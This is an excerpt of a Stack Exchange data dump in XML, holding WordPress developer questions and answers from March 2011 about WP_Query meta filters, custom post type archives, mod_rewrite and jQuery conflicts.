  <row Id="10879" PostTypeId="2" ParentId="10413" CreationDate="2011-03-02T05:17:35.067" Score="1" ViewCount="" Body="&lt;p&gt;The problem is that &lt;code&gt;do_shortcode()&lt;/code&gt; expects a string in it's first parameters while &lt;code&gt;wp_nav_menu_objects&lt;/code&gt; get's passed an array of menu objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sou you'd have to write your own wrapper function to &lt;code&gt;do_shortcode&lt;/code&gt;, something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_nav_menu_objects_shortcode_mangler($items) {&#xA;    foreach ($items as $item) {&#xA;        $item-&amp;gt;classes = explode(' ', do_shortcode(implode(' ', (array)$item-&amp;gt;classes)));&#xA;    }&#xA;    return $items;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;may work. You'd have to find out about the structure of the nav menu objects ($item) by looking at the source in &lt;code&gt;wp-includes/nav-menu-template.php&lt;/code&gt; and then derive which properties best to modify and how (which format they have, how to convert that to a string so you can run a shortcode over it, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would appear to me, though, that other means of implementing such logic might be better than hacking shortcode functionality into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that using that model you cannot have a shortcode in one property of your menu item and expect it to modify the output of another...like you can't have a shortcode in your menu item label and hope it adds or removes css classes. Just doesn't work that way.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-03-02T05:22:39.320" LastActivityDate="2011-03-02T05:22:39.320" />
  <row Id="10880" PostTypeId="2" ParentId="10863" CreationDate="2011-03-02T05:23:45.933" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Wordpressor:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The arguments for &lt;code&gt;WP_Query()&lt;/code&gt; are documented on the &lt;code&gt;query_posts()&lt;/code&gt; page on the Codex:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And for WordPress 3.1 you can also find the most complete documentation for the &lt;code&gt;WP_Query&lt;/code&gt; args on lines &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/query.php#L1860&quot; rel=&quot;nofollow&quot;&gt;1872 through 2705&lt;/a&gt; of &lt;code&gt;/wp-includes/query.php&lt;/code&gt;. :-)&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;-Mike &lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-02T11:05:14.953" LastActivityDate="2011-03-02T11:05:14.953" CommentCount="0" />
  <row Id="10881" PostTypeId="1" AcceptedAnswerId="10882" CreationDate="2011-03-02T05:56:19.323" Score="1" ViewCount="1132" Body="&lt;p&gt;Three people have already tried to solve this, and we're coming up nil. I want to show only posts that have a value in the meta_key 'featured_image'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... if 'featured_image' is not empty, show the post. Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      &amp;lt;ul&amp;gt;&#xA;      &amp;lt;?php&#xA;      $args = array(&#xA;        'showposts' =&amp;gt; 5,&#xA;        'meta_query' =&amp;gt; array(&#xA;          array(&#xA;            'key' =&amp;gt; 'featured_image',&#xA;            'value' =&amp;gt; '',&#xA;            'compare' =&amp;gt; '!='&#xA;            )&#xA;          )&#xA;      );&#xA;      $ft_pagination = new WP_Query( $args );&#xA;      ?&amp;gt;&#xA;      &amp;lt;?php while ($ft_pagination-&amp;gt;have_posts()) : $ft_pagination-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;?php $ftimage = get_post_meta(get_the_id(), 'featured_image', TRUE); ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;          &amp;lt;article&amp;gt;&#xA;            &amp;lt;a href=&quot;&quot;&amp;gt;&#xA;            &amp;lt;?php if ($ftimage): ?&amp;gt;&#xA;              &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/timthumb.php?src=&amp;lt;?php echo $ftimage; ?&amp;gt;&amp;amp;w=84&amp;amp;h=60&quot; alt=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;?php else: ?&amp;gt;&#xA;              &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/timthumb.php?src=/wp-content/themes/ssv/images/review-default.gif&amp;amp;w=84&amp;amp;h=60&quot; alt=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;          &amp;lt;/article&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;      &amp;lt;?php&#xA;      endwhile;&#xA;&#xA;      wp_reset_query();&#xA;      ?&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We have tried literally every combination we can think of, the deprecated meta_* options, query_posts, get_posts, instead of WP_Query... Nothing. Printed the select statement, no meta value field is showing. It exists - for the posts (for every post) and it exists in the db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've seen every post out there on the topic right now, including these:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/10285/query-posts-and-only-show-results-if-a-custom-field-is-not-empty&quot;&gt;query_posts and only show results if a custom field is not empty&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://scribu.net/wordpress/advanced-metadata-queries.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/advanced-metadata-queries.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zilch. Please help...&lt;/p&gt;&#xA;" OwnerUserId="3618" LastActivityDate="2011-04-25T11:13:54.117" Title="How can I show posts only if meta_value is not empty" Tags="&lt;wp-query&gt;&lt;post-meta&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="10882" PostTypeId="2" ParentId="10881" CreationDate="2011-03-02T06:05:21.467" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Rob:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason you can't figure out how to do it is because it's not possible, at least not without resorting to SQL. Try adding the following to your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('posts_where','yoursite_posts_where',10,2);&#xA;function yoursite_posts_where($where,$query) {&#xA;  global $wpdb;&#xA;  $new_where = &quot; TRIM(IFNULL({$wpdb-&amp;gt;postmeta}.meta_value,''))&amp;lt;&amp;gt;'' &quot;;&#xA;  if (empty($where))&#xA;    $where = $new_where;&#xA;  else&#xA;    $where = &quot;{$where} AND {$new_where}&quot;;&#xA;  return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have custom &lt;code&gt;'featured_image'&lt;/code&gt; fields with empty values the above will filter them out. If you problem is something else, we'll have to see what your data looks like to solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I'm curious about; how did you get empty values for &lt;code&gt;'featured_image'&lt;/code&gt;?  The admin UI in WordPress 3.1 does its best to keep you from entering empty values.&#xA;Hope this helps.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-02T07:48:31.893" LastActivityDate="2011-03-02T07:48:31.893" CommentCount="10" />
  <row Id="10883" PostTypeId="2" ParentId="10710" CreationDate="2011-03-02T06:11:00.287" Score="1" ViewCount="" Body="&lt;p&gt;Ok, I finally found what I was looking for - &lt;a href=&quot;http://codex.wordpress.org/I18n_for_WordPress_Developers#Marking_strings_in_themes_and_plugins&quot; rel=&quot;nofollow&quot;&gt;Marking strings in themes and plugins&lt;/a&gt;. And here is the actual &lt;a href=&quot;http://svn.automattic.com/wordpress-i18n/tools/&quot; rel=&quot;nofollow&quot;&gt;SVN repository&lt;/a&gt; for tools in question.&lt;/p&gt;&#xA;" OwnerUserId="421" LastActivityDate="2011-03-02T06:11:00.287" />
  <row Id="10884" PostTypeId="2" ParentId="10829" CreationDate="2011-03-02T06:33:37.107" Score="1" ViewCount="" Body="&lt;p&gt;Not possible with an empty value. See: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10881/how-can-i-show-posts-only-if-meta-value-is-not-empty&quot;&gt;How can I show posts only if meta_value is not empty&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3618" LastActivityDate="2011-03-02T06:33:37.107" CommentCount="1" />
  <row Id="10885" PostTypeId="1" CreationDate="2011-03-02T07:25:55.640" Score="0" ViewCount="297" Body="&lt;p&gt;I am working with wordpress 3.1 and have custom post type of whitepaper. My single-whitepaper template seems to be working. But the archive template (archive-whitepaper.php) is not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this after I have added the new 'has_archive' parameter to my register post type function. I have tried setting it to true and I have tried setting it to a slug of 'whitepaper'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I hit the url example.com/whitepaper, I get a white screen. Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type( 'whitepaper', array(&#xA;               'labels' =&amp;gt; array(&#xA;               'name' =&amp;gt; __( 'Whitepapers' ),&#xA;               'singular_name' =&amp;gt; __( 'Whitepaper' ),&#xA;               'add_new' =&amp;gt; __( 'Add New' ),&#xA;               'add_new_item' =&amp;gt; __( 'Add New Whitepaper' ),&#xA;               'edit' =&amp;gt; __( 'Edit' ),&#xA;               'edit_item' =&amp;gt; __( 'Edit Whitepaper' ),&#xA;               'new_item' =&amp;gt; __( 'New Whitepaper' ),&#xA;               'view' =&amp;gt; __( 'View Whitepaper' ),&#xA;               'view_item' =&amp;gt; __( 'View Whitepaper' ),&#xA;               'search_items' =&amp;gt; __( 'Search Whitepapers' ),&#xA;               'not_found' =&amp;gt; __( 'No whitepapers found' ),&#xA;               'not_found_in_trash' =&amp;gt; __( 'No whitepapers found in Trash' ),&#xA;               'description' =&amp;gt; __( 'Whitepaper type is used to post recommended viewing content for our users.' )                  &#xA;                  ),&#xA;                  'public' =&amp;gt; true,&#xA;                  'show_ui' =&amp;gt; true,&#xA;                  'publicly_queryable' =&amp;gt; true,&#xA;                  'exclude_from_search' =&amp;gt; false,&#xA;          'menu_position' =&amp;gt; 5,&#xA;          'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/images/whitepaper.png',&#xA;          'query_var' =&amp;gt; true,&#xA;          'supports' =&amp;gt; array( 'title', 'editor', 'excerpt', 'custom-fields', 'thumbnail' ),&#xA;          'can_export' =&amp;gt; true,&#xA;          'has_archive' =&amp;gt; 'whitepaper'&#xA; )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="3361" LastActivityDate="2011-03-02T07:38:13.447" Title="where can I see my custom post type archive template?" Tags="&lt;custom-post-types&gt;&lt;template&gt;&lt;archive&gt;" AnswerCount="1" />
  <row Id="10886" PostTypeId="2" ParentId="10874" CreationDate="2011-03-02T07:33:41.437" Score="2" ViewCount="" Body="&lt;p&gt;When I go to &lt;code&gt;www.riyachting.com&lt;/code&gt;, I get redirected to &lt;code&gt;riyachting.com&lt;/code&gt;. &lt;a href=&quot;http://stackoverflow.com/questions/2286402/url-fragment-and-302-redirects&quot;&gt;Some browsers remove the fragment&lt;/a&gt; (part after the &lt;code&gt;#&lt;/code&gt;) of the URL in this redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chrome keeps the original fragment and the lightbox works. Safari removes it and the lightbox doesn't work. So either use the final URL in your link, or use something else than URL fragments to load the lightbox.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-02T07:33:41.437" />
  <row Id="10887" PostTypeId="2" ParentId="10885" CreationDate="2011-03-02T07:38:13.447" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Amit Erandole:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save permalinks to flush your rewrite rules:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-904-20110302-023740.png&quot; alt=&quot;Saving Permalinks in WordPress to Flush rewrite rules&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-03-02T07:38:13.447" CommentCount="7" />
  <row Id="10888" PostTypeId="2" ParentId="10304" CreationDate="2011-03-02T08:00:03.640" Score="1" ViewCount="" Body="&lt;p&gt;DING DING DING. As Otto pointed out, the problem is because the MYSQL version I'm running is 5.0.51a which is causing the bug.&lt;/p&gt;&#xA;" LastActivityDate="2011-03-02T08:00:03.640" />
  <row Id="10889" PostTypeId="2" ParentId="6796" CreationDate="2011-03-02T08:12:11.960" Score="0" ViewCount="" Body="&lt;p&gt;Try with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args=array(&#xA; 'posts_per_page'      =&amp;gt; 15, &#xA; 'post_type'     =&amp;gt; 'post', &#xA; 'key' =&amp;gt; 'views',&#xA; 'orderby' =&amp;gt; 'meta_value_num', &#xA; 'order'    =&amp;gt; 'ASC',&#xA; 'post_status' =&amp;gt; 'publish'&#xA;);&#xA;&#xA;query_posts($args); ?&amp;gt;&#xA; &amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-03-02T08:12:11.960" />
  <row Id="10890" PostTypeId="1" AcceptedAnswerId="10904" CreationDate="2011-03-02T08:31:42.547" Score="0" ViewCount="163" Body="&lt;p&gt;For example&lt;br&gt;&#xA;If you have a plugin on a site that uses jQuery 1.5.x and want to create a new plugin by implementing a script which uses an older version of jQuery, for example 1.3.x or 1.4.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it probably depends on jQuery functions that are called, but if you really had to use both 1.5 and some older version of jQuery.. how would you deal with this kind of situation? Is it even possible to use 2 different versions of jQuery at the same time without drawbacks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1535" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-02T16:53:57.557" LastActivityDate="2011-03-02T16:53:57.557" Title="How to deal with different jQuery versions?" Tags="&lt;plugin-development&gt;&lt;jquery&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10891" PostTypeId="1" AcceptedAnswerId="10934" CreationDate="2011-03-02T08:32:55.597" Score="0" ViewCount="331" Body="&lt;p&gt;I created a custom post type &quot;landing_page&quot; to hold content I want to display on the top of category archive pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for each category, I have one landing_page entry tagged with that category. What do I have to add to the category archive.php template to get it to show that category's (or custom taxonomy term's) landing_page content?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(&#xA;    array( 'posts_per_page' =&amp;gt; 1,&#xA;    'post_type' =&amp;gt; landing_page,&#xA;    'category' =&amp;gt; [[???]] ));&#xA;&#xA;     while (have_posts()) : the_post();&#xA;    the_content();&#xA;endwhile;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-05-07T21:44:11.623" Title="Show a Category X's custom post type on Category X archive page?" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;query-posts&gt;&lt;loop&gt;" AnswerCount="2" />
  <row Id="10892" PostTypeId="2" ParentId="5929" CreationDate="2011-03-02T08:37:41.860" Score="0" ViewCount="" Body="&lt;p&gt;In case someone needs a sollution - I just put &lt;code&gt;'publish_posts'&lt;/code&gt; as $capability parameter and it works as I thought it would - it gives you all the capabilitis that are below the one used (below publish_posts in my case)...&lt;/p&gt;&#xA;" OwnerUserId="1535" LastActivityDate="2011-03-02T08:37:41.860" />
  <row Id="10893" PostTypeId="2" ParentId="10891" CreationDate="2011-03-02T09:41:12.203" Score="0" ViewCount="" Body="&lt;p&gt;You can get the current category with &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and since you are using archive.php and not category.php check if its a category first so something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_category()){&#xA;query_posts(&#xA;    array( 'posts_per_page' =&amp;gt; 1,&#xA;    'post_type' =&amp;gt; 'landing_page',&#xA;    'category' =&amp;gt;  get_query_var('cat'));&#xA;&#xA;     while (have_posts()) : the_post();&#xA;        the_content();&#xA;     endwhile;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-08T14:19:31.120" LastActivityDate="2011-03-08T14:19:31.120" CommentCount="2" />
  <row Id="10895" PostTypeId="1" CreationDate="2011-03-02T09:58:04.893" Score="1" ViewCount="88" Body="&lt;pre&gt;&lt;code&gt;function themeperauthor_need_switch() {&#xA;    global $post;&#xA;  if ( $get_post_type == 'weblogs' )  {&#xA;    return get_the_author_meta('themeperauthor', $user-&amp;gt;ID);&#xA;  }&#xA;  return &quot;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't return anything&lt;/p&gt;&#xA;" OwnerUserId="3615" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-02T10:06:58.850" LastActivityDate="2011-03-02T13:02:52.763" Title="What is wrong with this code?" Tags="&lt;3.0.1&gt;" AnswerCount="3" />
  <row Id="10896" PostTypeId="2" ParentId="10895" CreationDate="2011-03-02T10:09:03.137" Score="1" ViewCount="" Body="&lt;p&gt;You are using get_post_type as variable instead of a function try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function themeperauthor_need_switch() {&#xA;    global $post;&#xA;  if ( get_post_type($post) == 'weblogs' )  {&#xA;    return get_the_author_meta('themeperauthor', $user-&amp;gt;ID);&#xA;  }&#xA;  return &quot;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-02T10:09:03.137" CommentCount="2" />
  <row Id="10897" PostTypeId="2" ParentId="10895" CreationDate="2011-03-02T10:09:31.613" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@puanthanh:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well to start &lt;code&gt;$user&lt;/code&gt; is not in scope.  But since you've given very few details I'm not sure how to suggest you assign a value.  Maybe update your question with more details?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-03-02T10:09:31.613" CommentCount="3" />
  <row Id="10898" PostTypeId="2" ParentId="10862" CreationDate="2011-03-02T10:19:50.517" Score="1" ViewCount="" Body="&lt;p&gt;That depends on what you are using to display that photo album (a plugin , custom post type, built-in gallery).&#xA;But if you want to remove the or display parts of your theme conditionally you can use the &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;conditional tags&lt;/strong&gt;&lt;/a&gt; for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if your photo album is on a page with id 23 then you can add a condition in your theme's header.php to only display the header if it's not that page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!is_page('23')){&#xA;         // the header stuff goes here&#xA;}?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-02T10:19:50.517" />
  <row Id="10899" PostTypeId="2" ParentId="10299" CreationDate="2011-03-02T10:23:35.560" Score="3" ViewCount="" Body="&lt;p&gt;InnoDB probably won't help you - page/row level locking helps mitigate contention, but it doesn't feel like that's your issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a lot of stuff out there that suggests MyISAM is slower than InnoDB in the average blog scenario (many more reads than writes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before making a switch, you should at least do the following&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;run mysqltuner which will give you some configuration advice (it's not infallible or all knowing though)&lt;/li&gt;&#xA;&lt;li&gt;turn on slow query logging, leave it for a day or so, and then start sifting through the log, and EXPLAINing the queries to see what's going on&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From personal experience, I found that adding an index to an unindexed field on wp_comments helped massively in my particular situation (periods of bursty commenting, where 10 or so people could be trying to comment at the same time), and it's possible that finding out what queries are running slowly and why may lead you to a better understanding of the problem, and a REAL solution!&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-02T10:23:35.560" />
  <row Id="10900" PostTypeId="1" AcceptedAnswerId="10914" CreationDate="2011-03-02T11:49:13.717" Score="0" ViewCount="213" Body="&lt;p&gt;Ok I have a WP site using the permalink structure of &lt;code&gt;/%category%/%postname%/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have built it in the way of page templates, using category queries inside, i.e.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;page-help.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $my_query = new WP_Query('category_name=help');&#xA;while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;     &amp;lt;!--content--&amp;gt;&#xA;&amp;lt;?php endwhile; wp_reset_query(); ?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;page-about.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $my_query = new WP_Query('category_name=about');&#xA;while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;     &amp;lt;!--content--&amp;gt;&#xA;&amp;lt;?php endwhile; wp_reset_query(); ?&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pretty simple. The problem I have is, I need an archive by year for the news section. I did this by just making the &lt;strong&gt;archive.php&lt;/strong&gt;  have the same layout as &lt;strong&gt;page-news.php&lt;/strong&gt; and just query the posts in the news category. *-this is fine in my case because news is, and will only ever be the content to be archived.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My news category (latest-news) is a child of the about category (about), so when I go to the news section, the url is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;www.example.com/about/latest-news/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On the news page is use the following code to list the archives;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Gets archive for news--&amp;gt;   &#xA;&amp;lt;?php $my_query = new WP_Query('category_name=news_article');&#xA;while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;     &amp;lt;?php wp_get_archives('type=yearly'); ?&amp;gt; &#xA;&amp;lt;!--Ends archive for news--&amp;gt;&#xA;&amp;lt;?php endwhile; wp_reset_query(); ?&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The links it generates naturally lead me to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;www.example.com/2000&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;www.example.com/2001&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;etc. I want the rewrite to change them to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;www.example.com/about/latest-news/2000&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;www.example.com/about/latest-news/2001&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have modified the .htaccess in the WP route to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress  &#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;     &#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]    &#xA;RewriteRule  /([0-9]+/?)$  /about/latest-news/$1     [NC,L]  #Added this line&#xA;&amp;lt;/IfModule&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am having no luck, the url remains as &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;www.example.com/2000&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have the issue of not knowing wether my re-write is wrong, wether I should be putting this line of re-write in a different htaccess elsewhere, or if WordPress is overwriting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be really appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1956" LastEditorUserId="1956" LastEditorDisplayName="" LastEditDate="2011-03-02T13:17:13.550" LastActivityDate="2011-03-02T14:03:33.977" Title="Why is my mod_rewrite not working?" Tags="&lt;3.0&gt;&lt;url-rewriting&gt;&lt;mod-rewrite&gt;&lt;htaccess&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="10902" PostTypeId="2" ParentId="10900" CreationDate="2011-03-02T12:24:39.207" Score="0" ViewCount="" Body="&lt;p&gt;If you use Wordpress without mod_rewrite (&lt;a href=&quot;http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;), all urls are like &lt;code&gt;myblog.com/index.php?p=12&lt;/code&gt;. With mod_rewrite you can create pretty urls, like &lt;code&gt;myblog.com/mypost&lt;/code&gt;. How this works is that Apache internally rewrites the url &lt;code&gt;myblog.com/mypost&lt;/code&gt; to &lt;code&gt;myblog.com/index.php?p=12&lt;/code&gt;, before handing the request over to Wordpress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So mod_rewrite is used to create pretty urls for your blog, but it will not rewrite the links Wordpress &lt;em&gt;generates&lt;/em&gt; for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve your problem, you shouldn't have to change the mod_rewrite rules.  &lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2011-03-02T12:24:39.207" />
  <row Id="10903" PostTypeId="2" ParentId="10429" CreationDate="2011-03-02T12:26:24.713" Score="0" ViewCount="" Body="&lt;p&gt;@EAMann, my appologies. I was in a hurry that time.&#xA;Here is a more elaborate answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Joop, if I understand the question correctly you are not looking for a tabs-plugin per se, but for a way to add content of other pages to your tabs. This can be done using the &lt;a href=&quot;http://wordpress.org/extend/plugins/improved-include-page/&quot; rel=&quot;nofollow&quot; title=&quot;Improved Include Page (iinclude)&quot;&gt;Improved Include Page &lt;/a&gt; plugin. This plugin adds the content of another page into the page of your choice.&#xA;Example:&#xA;&lt;code&gt;[include-page id=&quot;123&quot;]&lt;/code&gt;.&#xA;You might be able to combine this with the earlier mentioned &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-post-tabs/&quot; rel=&quot;nofollow&quot;&gt;Wordpress Post Tabs&lt;/a&gt; plugin (or another one):&#xA;&lt;code&gt;[tab name=&quot;Specifications&quot;][include-page id=&quot;123&quot;][/tab][tab name=&quot;Pricing Information&quot;][include-page id=&quot;456&quot;][/tab][end_tabset]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3636" LastActivityDate="2011-03-02T12:26:24.713" />
  <row Id="10904" PostTypeId="2" ParentId="10890" CreationDate="2011-03-02T12:35:47.330" Score="1" ViewCount="" Body="&lt;p&gt;You could use &lt;a href=&quot;http://api.jquery.com/jQuery.noConflict/&quot; rel=&quot;nofollow&quot;&gt;jQuery.noConflict&lt;/a&gt; in your new plugin. &lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2011-03-02T12:35:47.330" />
